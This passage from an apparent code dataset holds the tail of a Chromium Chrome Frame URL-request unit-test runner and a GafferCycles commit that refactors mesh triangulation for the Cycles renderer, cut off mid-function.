g_browser_process->InitAutomationProviderList();\n  DCHECK(list);\n  list->AddProvider(TestAutomationProvider::NewAutomationProvider(profile,\n      channel_id, this));\n}\n\nvoid CFUrlRequestUnittestRunner::OnInitialTabLoaded() {\n  test_http_server_.reset();\n  StartTests();\n}\n\nvoid CFUrlRequestUnittestRunner::RunMainUIThread() {\n  DCHECK(MessageLoop::current());\n  DCHECK(MessageLoop::current()->type() == MessageLoop::TYPE_UI);\n  MessageLoop::current()->Run();\n}\n\nvoid CFUrlRequestUnittestRunner::StartTests() {\n  if (PromptAfterSetup())\n    MessageBoxA(NULL, \"click ok to run\", \"\", MB_OK);\n\n  DCHECK_EQ(test_thread_.IsValid(), false);\n  test_thread_.Set(::CreateThread(NULL, 0, RunAllUnittests, this, 0,\n                                  &test_thread_id_));\n  DCHECK(test_thread_.IsValid());\n}\n\n\/\/ static\nDWORD CFUrlRequestUnittestRunner::RunAllUnittests(void* param) {\n  PlatformThread::SetName(\"CFUrlRequestUnittestRunner\");\n  \/\/ Needed for some url request tests like the intercept job tests, etc.\n  NotificationService service;\n  CFUrlRequestUnittestRunner* me =\n      reinterpret_cast<CFUrlRequestUnittestRunner*>(param);\n  me->Run();\n  me->fake_chrome_.ui_loop()->PostTask(FROM_HERE,\n      NewRunnableFunction(TakeDownBrowser, me));\n  return 0;\n}\n\n\/\/ static\nvoid CFUrlRequestUnittestRunner::TakeDownBrowser(\n    CFUrlRequestUnittestRunner* me) {\n  if (PromptAfterSetup())\n    MessageBoxA(NULL, \"click ok to exit\", \"\", MB_OK);\n\n  me->ShutDownHostBrowser();\n}\n\nvoid CFUrlRequestUnittestRunner::InitializeLogging() {\n  FilePath exe;\n  PathService::Get(base::FILE_EXE, &exe);\n  FilePath log_filename = exe.ReplaceExtension(FILE_PATH_LITERAL(\"log\"));\n  logging::InitLogging(log_filename.value().c_str(),\n                       logging::LOG_TO_BOTH_FILE_AND_SYSTEM_DEBUG_LOG,\n                       logging::LOCK_LOG_FILE,\n                       logging::DELETE_OLD_LOG_FILE);\n  \/\/ We want process and thread IDs because we may have multiple processes.\n  \/\/ Note: temporarily enabled timestamps in an effort to catch bug 6361.\n  logging::SetLogItems(true, true, true, true);\n}\n\nvoid FilterDisabledTests() {\n  if (::testing::FLAGS_gtest_filter.length() &&\n      ::testing::FLAGS_gtest_filter.Compare(\"*\") != 0) {\n    \/\/ Don't override user specified filters.\n    return;\n  }\n\n  const char* disabled_tests[] = {\n    \/\/ Tests disabled since they're testing the same functionality used\n    \/\/ by the TestAutomationProvider.\n    \"URLRequestTest.Intercept\",\n    \"URLRequestTest.InterceptNetworkError\",\n    \"URLRequestTest.InterceptRestartRequired\",\n    \"URLRequestTest.InterceptRespectsCancelMain\",\n    \"URLRequestTest.InterceptRespectsCancelRedirect\",\n    \"URLRequestTest.InterceptRespectsCancelFinal\",\n    \"URLRequestTest.InterceptRespectsCancelInRestart\",\n    \"URLRequestTest.InterceptRedirect\",\n    \"URLRequestTest.InterceptServerError\",\n    \"URLRequestTestFTP.*\",\n\n    \/\/ Tests that are currently not working:\n\n    \/\/ Temporarily disabled because they needs user input (login dialog).\n    \"URLRequestTestHTTP.BasicAuth\",\n    \"URLRequestTestHTTP.BasicAuthWithCookies\",\n\n    \/\/ HTTPS tests temporarily disabled due to the certificate error dialog.\n    \/\/ TODO(tommi): The tests currently fail though, so need to fix.\n    \"HTTPSRequestTest.HTTPSMismatchedTest\",\n    \"HTTPSRequestTest.HTTPSExpiredTest\",\n\n    \/\/ Tests chrome's network stack's cache (might not apply to CF).\n    \"URLRequestTestHTTP.VaryHeader\",\n\n    \/\/ I suspect we can only get this one to work (if at all) on IE8 and\n    \/\/ later by using the new INTERNET_OPTION_SUPPRESS_BEHAVIOR flags\n    \/\/ See http:\/\/msdn.microsoft.com\/en-us\/library\/aa385328(VS.85).aspx\n    \"URLRequestTest.DoNotSaveCookies\",\n\n    \/\/ TODO(ananta): This test has been consistently failing. Disabling it for\n    \/\/ now.\n    \"URLRequestTestHTTP.GetTest_NoCache\",\n  };\n\n  std::string filter(\"-\");  \/\/ All following filters will be negative.\n  for (int i = 0; i < arraysize(disabled_tests); ++i) {\n    if (i > 0)\n      filter += \":\";\n    filter += disabled_tests[i];\n  }\n\n  ::testing::FLAGS_gtest_filter = filter;\n}\n\nint main(int argc, char** argv) {\n  DialogWatchdog watchdog;\n  \/\/ See url_request_unittest.cc for these credentials.\n  SupplyProxyCredentials credentials(\"user\", \"secret\");\n  watchdog.AddObserver(&credentials);\n  testing::InitGoogleTest(&argc, argv);\n  FilterDisabledTests();\n  PluginService::EnableChromePlugins(false);\n  CFUrlRequestUnittestRunner test_suite(argc, argv);\n  test_suite.RunMainUIThread();\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2018, Alex Fuller. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/     * Neither the name of Image Engine Design nor the names of any\n\/\/       other contributors to this software may be used to endorse or\n\/\/       promote products derived from this software without specific prior\n\/\/       written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"GafferCycles\/IECoreCyclesPreview\/GeometryAlgo.h\"\n\n#include \"IECoreScene\/MeshNormalsOp.h\"\n#include \"IECoreScene\/MeshPrimitive.h\"\n#include \"IECoreScene\/MeshAlgo.h\"\n\n#include \"IECore\/Interpolator.h\"\n#include \"IECore\/SimpleTypedData.h\"\n\n\/\/ Cycles\n#include \"kernel\/types.h\"\n#include \"scene\/geometry.h\"\n#include \"scene\/mesh.h\"\n#include \"subd\/dice.h\"\n#include \"util\/param.h\"\n#include \"util\/types.h\"\n\nusing namespace std;\nusing namespace Imath;\nusing namespace IECore;\nusing namespace IECoreScene;\nusing namespace IECoreCycles;\n\nnamespace\n{\n\nccl::Mesh *convertCommon( const IECoreScene::MeshPrimitive *mesh )\n{\n\tassert( mesh->typeId() == IECoreScene::MeshPrimitive::staticTypeId() );\n\tccl::Mesh *cmesh = new ccl::Mesh();\n\n\tbool subdivision = false;\n\tbool triangles = ( mesh->maxVerticesPerFace() == 3 ) ? true : false;\n\n\t\/\/ If we need to convert\n\tMeshPrimitivePtr trimesh;\n\n\tif( ( mesh->interpolation() == \"catmullClark\" ) )\/\/|| !triangles )\n\t{\n\t\tconst size_t numFaces = mesh->numFaces();\n\t\tconst V3fVectorData *p = mesh->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\tconst vector<Imath::V3f> &points = p->readable();\n\t\tconst vector<int> &vertexIds = mesh->vertexIds()->readable();\n\t\tconst size_t numVerts = points.size();\n\t\tsubdivision = true;\n\t\tcmesh->set_subdivision_type( (mesh->interpolation() == \"catmullClark\") ? ccl::Mesh::SUBDIVISION_CATMULL_CLARK : ccl::Mesh::SUBDIVISION_LINEAR );\n\n\t\tcmesh->reserve_mesh( numVerts, numFaces );\n\t\tfor( size_t i = 0; i < numVerts; i++ )\n\t\t\tcmesh->add_vertex( ccl::make_float3( points[i].x, points[i].y, points[i].z ) );\n\n\t\tconst std::vector<int> &vertsPerFace = mesh->verticesPerFace()->readable();\n\t\tsize_t ngons = 0;\n\t\tsize_t ncorners = 0;\n\t\tfor( size_t i = 0; i < vertsPerFace.size(); i++ )\n\t\t{\n\t\t\tngons += ( vertsPerFace[i] == 4 ) ? 0 : 1;\n\t\t\tncorners += vertsPerFace[i];\n\t\t}\n\t\tcmesh->reserve_subd_faces(numFaces, ngons, ncorners);\n\n\t\tint indexOffset = 0;\n\t\tfor( size_t i = 0; i < vertsPerFace.size(); i++ )\n\t\t{\n\t\t\tcmesh->add_subd_face(\n\t\t\t\tconst_cast<int*>(&vertexIds[indexOffset]), vertsPerFace[i],\n\t\t\t\t\/* shader = *\/ 0, \/* smooth = *\/ true\n\t\t\t);\n\t\t\tindexOffset += vertsPerFace[i];\n\t\t}\n\n\t\t\/\/ Creases\n\t\tsize_t numEdges = mesh->cornerIds()->readable().size();\n\t\tfor( int length : mesh->creaseLengths()->readable() )\n\t\t{\n\t\t\tnumEdges += length - 1;\n\t\t}\n\n\t\tif( numEdges )\n\t\t{\n\t\t\tcmesh->reserve_subd_creases( numEdges );\n\n\t\t\tauto id = mesh->creaseIds()->readable().begin();\n\t\t\tauto sharpness = mesh->creaseSharpnesses()->readable().begin();\n\t\t\tfor( int length : mesh->creaseLengths()->readable() )\n\t\t\t{\n\t\t\t\tfor( int j = 0; j < length - 1; ++j )\n\t\t\t\t{\n\t\t\t\t\tint v0 = *id++;\n\t\t\t\t\tint v1 = *id;\n\t\t\t\t\tfloat weight = (*sharpness) * 0.1f;\n\t\t\t\t\tcmesh->add_edge_crease( v0, v1, weight );\n\t\t\t\t}\n\t\t\t\tid++;\n\t\t\t\tsharpness++;\n\t\t\t}\n\n\t\t\tsharpness = mesh->cornerSharpnesses()->readable().begin();\n\t\t\tfor( int cornerId : mesh->cornerIds()->readable() )\n\t\t\t{\n\t\t\t\tcmesh->add_vertex_crease( cornerId, (*sharpness) * 0.1f );\n\t\t\t\tsharpness++;\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\tcmesh->set_subdivision_type( (mesh->interpolation() == \"linear\") ? ccl::Mesh::SUBDIVISION_LINEAR : ccl::Mesh::SUBDIVISION_NONE );\n\n\t\tif( !triangles )\n\t\t{\n\t\t\t\/\/ triangulate primitive\n\t\t\ttrimesh = IECoreScene::MeshAlgo::triangulate( mesh );\n\t\t\tconst V3fVectorData *p = trimesh->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\tconst vector<Imath::V3f> &points = p->readable();\n\t\t\tconst size_t numVerts = points.size();\n\t\t\tconst std::vector<int> &triVertexIds = trimesh->vertexIds()->readable();\n\n\t\t\tconst size_t triNumFaces = trimesh->numFaces();\n\t\t\tcmesh->reserve_mesh( numVerts, triNumFaces );\n\n\t\t\tfor( size_t i = 0; i < numVerts; i++ )\n\t\t\t\tcmesh->add_vertex( ccl::make_float3( points[i].x, points[i].y, points[i].z ) );\n\n\t\t\tint faceOffset = 0;\n\t\t\tfor( size_t i = 0; i < triVertexIds.size(); i+= 3, ++faceOffset )\n\t\t\t\tcmesh->add_triangle(\n\t\t\t\t\ttriVertexIds[i], triVertexIds[i+1], triVertexIds[i+2],\n\t\t\t\t\t\/* shader = *\/ 0, \/* smooth = *\/ true\n\t\t\t\t);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tconst size_t numFaces = mesh->numFaces();\n\t\t\tconst V3fVectorData *p = mesh->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\tconst vector<Imath::V3f> &points = p->readable();\n\t\t\tconst vector<int> &vertexIds = mesh->vertexIds()->readable();\n\t\t\tconst size_t numVerts = points.size();\n\t\t\tcmesh->reserve_mesh(numVerts, numFaces);\n\n\t\t\tfor( size_t i = 0; i < numVerts; i++ )\n\t\t\t\tcmesh->add_vertex( ccl::make_float3( points[i].x, points[i].y, points[i].z ) );\n\n\t\t\tint faceOffset = 0;\n\t\t\tfor( size_t i = 0; i < vertexIds.size(); i+= 3, ++faceOffset )\n\t\t\t\tcmesh->add_triangle(\n\t\t\t\t\tvertexIds[i], vertexIds[i+1], vertexIds[i+2],\n\t\t\t\t\t\/* shader = *\/ 0, \/* smooth = *\/ true\n\t\t\t\t);\n\t\t}\n\t}\n\n\t\/\/ Convert primitive variables.\n\tPrimitiveVariableMap variablesToConvert;\n\tif( subdivision || triangles )\n\t\tvariablesToConvert = mesh->variables;\n\telse\n\t\tvariablesToConvert = trimesh->variables;\n\tvariablesToConvert.erase( \"P\" ); \/\/ P is already done.\n\n\t\/\/ Finally, do a generic conversion of anything that remains.\n\tfor( const auto &[name, variable] : variablesToConvert )\n\t{\n\t\tswitch( variable.interpolation )\n\t\t{\n\t\t\tcase PrimitiveVariable::Constant :\n\t\t\t\tGeometryAlgo::convertPrimitiveVariable( name, variable, cmesh->attributes, ccl::ATTR_ELEMENT_MESH );\n\t\t\t\tbreak;\n\t\t\tcase PrimitiveVariable::Uniform :\n\t\t\t\tGeometryAlgo::convertPrimitiveVariable( name, variable, cmesh->attributes, ccl::ATTR_ELEMENT_FACE );\n\t\t\t\tbreak;\n\t\t\tcase PrimitiveVariable::Vertex :\n\t\t\tcase PrimitiveVariable::Varying :\n\t\t\t\tGeometryAlgo::convertPrimitiveVariable( name, variable, cmesh->attributes, ccl::ATTR_ELEMENT_VERTEX );\n\t\t\t\tbreak;\n\t\t\tcase PrimitiveVariable::FaceVarying :\n\t\t\t\tGeometryAlgo::convertPrimitiveVariable( name, variable, cmesh->attributes, ccl::ATTR_ELEMENT_CORNER );\n\t\t\t\tbreak;\n\t\t\tdefault :\n\t\t\t\tbreak;\n\t\t}\n\t}\n\treturn cmesh;\n}\n\nccl::Geometry *convert( const IECoreScene::MeshPrimitive *mesh, const std::string &nodeName, ccl::Scene *scene )\n{\n\tccl::Mesh *cmesh = convertCommon( mesh );\n\tcmesh->name = ccl::ustring( nodeName.c_str() );\n\treturn cmesh;\n}\n\nccl::Geometry *convert( const std::vector<const IECoreScene::MeshPrimitive *> &meshes, const std::vector<float> &times, const int frameIdx, const std::string &nodeName, ccl::Scene *scene )\n{\n\tconst int numSamples = meshes.size();\n\n\tccl::Mesh *cmesh = nullptr;\n\tstd::vector<const IECoreScene::MeshPrimitive *> samples;\n\tIECoreScene::MeshPrimitivePtr midMesh;\n\n\tif( frameIdx != -1 ) \/\/ Start\/End frames\n\t{\n\t\tcmesh = convertCommon(meshes[frameIdx]);\n\n\t\tif( numSamples == 2 ) \/\/ Make sure we have 3 samples\n\t\t{\n\t\t\tconst V3fVectorData *p1 = meshes[0]->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\tconst V3fVectorData *p2 = meshes[1]->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\tif( p1 && p2 )\n\t\t\t{\n\t\t\t\tmidMesh = meshes[frameIdx]->copy();\n\t\t\t\tV3fVectorData *midP = midMesh->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\t\tIECore::LinearInterpolator<std::vector<V3f>>()( p1->readable(), p2->readable(), 0.5f, midP->writable() );\n\t\t\t\tsamples.push_back( midMesh.get() );\n\t\t\t}\n\t\t}\n\n\t\tfor( int i = 0; i < numSamples; ++i )\n\t\t{\n\t\t\tif( i == frameIdx )\n\t\t\t\tcontinue;\n\t\t\tsamples.push_back( meshes[i] );\n\t\t}\n\t}\n\telse if( numSamples % 2 ) \/\/ Odd numSamples\n\t{\n\t\tint _frameIdx = numSamples \/ 2;\n\t\tcmesh = convertCommon(meshes[_frameIdx]);\n\n\t\tfor( int i = 0; i < numSamples; ++i )\n\t\t{\n\t\t\tif( i == _frameIdx )\n\t\t\t\tcontinue;\n\t\t\tsamples.push_back( meshes[i] );\n\t\t}\n\t}\n\telse \/\/ Even numSamples\n\t{\n\t\tint _frameIdx = numSamples \/ 2 - 1;\n\t\tconst V3fVectorData *p1 = meshes[_frameIdx]->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\tconst V3fVectorData *p2 = meshes[_frameIdx+1]->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\tif( p1 && p2 )\n\t\t{\n\t\t\tmidMesh = meshes[_frameIdx]->copy();\n\t\t\tV3fVectorData *midP = midMesh->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\tIECore::LinearInterpolator<std::vector<V3f>>()( p1->readable(), p2->readable(), 0.5f, midP->writable() );\n\t\t\tcmesh = convertCommon( midMesh.get() );\n\t\t}\n\n\t\tfor( int i = 0; i < numSamples; ++i )\n\t\t{\n\t\t\tsamples.push_back( meshes[i] );\n\t\t}\n\t}\n\n\t\/\/ Add the motion position attributes\n\tcmesh->set_use_motion_blur( true );\n\tcmesh->set_motion_steps( samples.size() + 1 );\n\tccl::Attribute *attr_mP = cmesh->attributes.add( ccl::ATTR_STD_MOTION_VERTEX_POSITION, ccl::ustring(\"motion_P\") );\n\tccl::float3 *mP = attr_mP->data_float3();\n\n\tfor( size_t i = 0; i < samples.size(); ++i )\n\t{\n\t\tPrimitiveVariableMap::const_iterator pIt = samples[i]->variables.find( \"P\" );\n\t\tif( pIt != samples[i]->variables.end() )\n\t\t{\n\t\t\tconst V3fVectorData *p = runTimeCast<const V3fVectorData>( pIt->second.data.get() );\n\t\t\tif( p )\n\t\t\t{\n\t\t\t\tPrimitiveVariable::Interpolation pInterpolation = pIt->second.interpolation;\n\t\t\t\tif( pInterpolation == PrimitiveVariable::Varying || pInterpolation == PrimitiveVariable::Vertex || pInterpolation == PrimitiveVariable::FaceVarying )\n\t\t\t\t{\n\t\t\t\t\t\/\/ Vertex positions\n\t\t\t\t\tconst V3fVectorData *p = samples[i]->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\t\t\tconst std::vector<V3f> &points = p->readable();\n\t\t\t\t\tsize_t numVerts = p->readable().size();\n\n\t\t\t\t\tfor( size_t j = 0; j < numVerts; ++j, ++mP )\n\t\t\t\t\t\t*mP = ccl::make_float3( points[j].x, points[j].y, points[j].z );\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tmsg( Msg::Warning, \"IECoreCyles::MeshAlgo::convert\", \"Variable \\\"Position\\\" has unsupported interpolation type - not generating sampled Position.\" );\n\t\t\t\t\tcmesh->attributes.remove( attr_mP );\n\t\t\t\t\tcmesh->set_motion_steps( 0 );\n\t\t\t\t\tcmesh->set_use_motion_blur( false );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tmsg( Msg::Warning, \"IECoreCyles::MeshAlgo::convert\", boost::format( \"Variable \\\"Position\\\" has unsupported type \\\"%s\\\" (expected V3fVectorData).\" ) % pIt->second.data->typeName() );\n\t\t\t\tcmesh->attributes.remove( attr_mP );\n\t\t\t\tcmesh->set_motion_steps( 0) ;\n\t\t\t\tcmesh->set_use_motion_blur( true );\n\t\t\t}\n\t\t}\n\t}\n\n\tcmesh->name = ccl::ustring( nodeName.c_str() );\n\treturn cmesh;\n}\n\nGeometryAlgo::ConverterDescription<MeshPrimitive> g_description( convert, convert );\n\n} \/\/ namespace\n<commit_msg>Cycles MeshAlgo : Refactor triangulation logic<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2018, Alex Fuller. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/     * Neither the name of Image Engine Design nor the names of any\n\/\/       other contributors to this software may be used to endorse or\n\/\/       promote products derived from this software without specific prior\n\/\/       written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"GafferCycles\/IECoreCyclesPreview\/GeometryAlgo.h\"\n\n#include \"IECoreScene\/MeshPrimitive.h\"\n#include \"IECoreScene\/MeshAlgo.h\"\n\n#include \"IECore\/Interpolator.h\"\n#include \"IECore\/SimpleTypedData.h\"\n\n\/\/ Cycles\n#include \"kernel\/types.h\"\n#include \"scene\/geometry.h\"\n#include \"scene\/mesh.h\"\n#include \"subd\/dice.h\"\n#include \"util\/param.h\"\n#include \"util\/types.h\"\n\nusing namespace std;\nusing namespace Imath;\nusing namespace IECore;\nusing namespace IECoreScene;\nusing namespace IECoreCycles;\n\nnamespace\n{\n\nccl::Mesh *convertCommon( const IECoreScene::MeshPrimitive *mesh )\n{\n\tassert( mesh->typeId() == IECoreScene::MeshPrimitive::staticTypeId() );\n\n\t\/\/ Triangulate if necessary\n\n\tConstMeshPrimitivePtr triangulatedMesh;\n\tif( mesh->interpolation() != \"catmullClark\" && mesh->maxVerticesPerFace() > 3 )\n\t{\n\t\t\/\/ Polygon meshes in Cycles must consist of triangles only.\n\t\ttriangulatedMesh = MeshAlgo::triangulate( mesh );\n\t\tmesh = triangulatedMesh.get();\n\t}\n\n\t\/\/ Convert topology and points\n\n\tccl::Mesh *cmesh = new ccl::Mesh();\n\n\tif( mesh->interpolation() == \"catmullClark\" )\n\t{\n\t\tconst size_t numFaces = mesh->numFaces();\n\t\tconst V3fVectorData *p = mesh->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\tconst vector<Imath::V3f> &points = p->readable();\n\t\tconst vector<int> &vertexIds = mesh->vertexIds()->readable();\n\t\tconst size_t numVerts = points.size();\n\t\tcmesh->set_subdivision_type( (mesh->interpolation() == \"catmullClark\") ? ccl::Mesh::SUBDIVISION_CATMULL_CLARK : ccl::Mesh::SUBDIVISION_LINEAR );\n\n\t\tcmesh->reserve_mesh( numVerts, numFaces );\n\t\tfor( size_t i = 0; i < numVerts; i++ )\n\t\t\tcmesh->add_vertex( ccl::make_float3( points[i].x, points[i].y, points[i].z ) );\n\n\t\tconst std::vector<int> &vertsPerFace = mesh->verticesPerFace()->readable();\n\t\tsize_t ngons = 0;\n\t\tsize_t ncorners = 0;\n\t\tfor( size_t i = 0; i < vertsPerFace.size(); i++ )\n\t\t{\n\t\t\tngons += ( vertsPerFace[i] == 4 ) ? 0 : 1;\n\t\t\tncorners += vertsPerFace[i];\n\t\t}\n\t\tcmesh->reserve_subd_faces(numFaces, ngons, ncorners);\n\n\t\tint indexOffset = 0;\n\t\tfor( size_t i = 0; i < vertsPerFace.size(); i++ )\n\t\t{\n\t\t\tcmesh->add_subd_face(\n\t\t\t\tconst_cast<int*>(&vertexIds[indexOffset]), vertsPerFace[i],\n\t\t\t\t\/* shader = *\/ 0, \/* smooth = *\/ true\n\t\t\t);\n\t\t\tindexOffset += vertsPerFace[i];\n\t\t}\n\n\t\t\/\/ Creases\n\t\tsize_t numEdges = mesh->cornerIds()->readable().size();\n\t\tfor( int length : mesh->creaseLengths()->readable() )\n\t\t{\n\t\t\tnumEdges += length - 1;\n\t\t}\n\n\t\tif( numEdges )\n\t\t{\n\t\t\tcmesh->reserve_subd_creases( numEdges );\n\n\t\t\tauto id = mesh->creaseIds()->readable().begin();\n\t\t\tauto sharpness = mesh->creaseSharpnesses()->readable().begin();\n\t\t\tfor( int length : mesh->creaseLengths()->readable() )\n\t\t\t{\n\t\t\t\tfor( int j = 0; j < length - 1; ++j )\n\t\t\t\t{\n\t\t\t\t\tint v0 = *id++;\n\t\t\t\t\tint v1 = *id;\n\t\t\t\t\tfloat weight = (*sharpness) * 0.1f;\n\t\t\t\t\tcmesh->add_edge_crease( v0, v1, weight );\n\t\t\t\t}\n\t\t\t\tid++;\n\t\t\t\tsharpness++;\n\t\t\t}\n\n\t\t\tsharpness = mesh->cornerSharpnesses()->readable().begin();\n\t\t\tfor( int cornerId : mesh->cornerIds()->readable() )\n\t\t\t{\n\t\t\t\tcmesh->add_vertex_crease( cornerId, (*sharpness) * 0.1f );\n\t\t\t\tsharpness++;\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\tcmesh->set_subdivision_type( (mesh->interpolation() == \"linear\") ? ccl::Mesh::SUBDIVISION_LINEAR : ccl::Mesh::SUBDIVISION_NONE );\n\n\t\tconst V3fVectorData *p = mesh->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\tconst vector<Imath::V3f> &points = p->readable();\n\t\tconst size_t numVerts = points.size();\n\t\tconst std::vector<int> &vertexIds = mesh->vertexIds()->readable();\n\n\t\tconst size_t numFaces = mesh->numFaces();\n\t\tcmesh->reserve_mesh( numVerts, numFaces );\n\n\t\tfor( size_t i = 0; i < numVerts; i++ )\n\t\t\tcmesh->add_vertex( ccl::make_float3( points[i].x, points[i].y, points[i].z ) );\n\n\t\tfor( size_t i = 0; i < vertexIds.size(); i+= 3 )\n\t\t\tcmesh->add_triangle(\n\t\t\t\tvertexIds[i], vertexIds[i+1], vertexIds[i+2],\n\t\t\t\t\/* shader = *\/ 0, \/* smooth = *\/ true\n\t\t\t);\n\t}\n\n\t\/\/ Convert primitive variables.\n\n\tfor( const auto &[name, variable] : mesh->variables )\n\t{\n\t\tif( name == \"P\" )\n\t\t{\n\t\t\t\/\/ Converted above already\n\t\t\tcontinue;\n\t\t}\n\t\tswitch( variable.interpolation )\n\t\t{\n\t\t\tcase PrimitiveVariable::Constant :\n\t\t\t\tGeometryAlgo::convertPrimitiveVariable( name, variable, cmesh->attributes, ccl::ATTR_ELEMENT_MESH );\n\t\t\t\tbreak;\n\t\t\tcase PrimitiveVariable::Uniform :\n\t\t\t\tGeometryAlgo::convertPrimitiveVariable( name, variable, cmesh->attributes, ccl::ATTR_ELEMENT_FACE );\n\t\t\t\tbreak;\n\t\t\tcase PrimitiveVariable::Vertex :\n\t\t\tcase PrimitiveVariable::Varying :\n\t\t\t\tGeometryAlgo::convertPrimitiveVariable( name, variable, cmesh->attributes, ccl::ATTR_ELEMENT_VERTEX );\n\t\t\t\tbreak;\n\t\t\tcase PrimitiveVariable::FaceVarying :\n\t\t\t\tGeometryAlgo::convertPrimitiveVariable( name, variable, cmesh->attributes, ccl::ATTR_ELEMENT_CORNER );\n\t\t\t\tbreak;\n\t\t\tdefault :\n\t\t\t\tbreak;\n\t\t}\n\t}\n\treturn cmesh;\n}\n\nccl::Geometry *convert( const IECoreScene::MeshPrimitive *mesh, const std::string &nodeName, ccl::Scene *scene )\n{\n\tccl::Mesh *cmesh = convertCommon( mesh );\n\tcmesh->name = ccl::ustring( nodeName.c_str() );\n\treturn cmesh;\n}\n\nccl::Geometry *convert( const std::vector<const IECoreScene::MeshPrimitive *> &meshes, const std::vector<float> &times, const int frameIdx, const std::string &nodeName, ccl::Scene 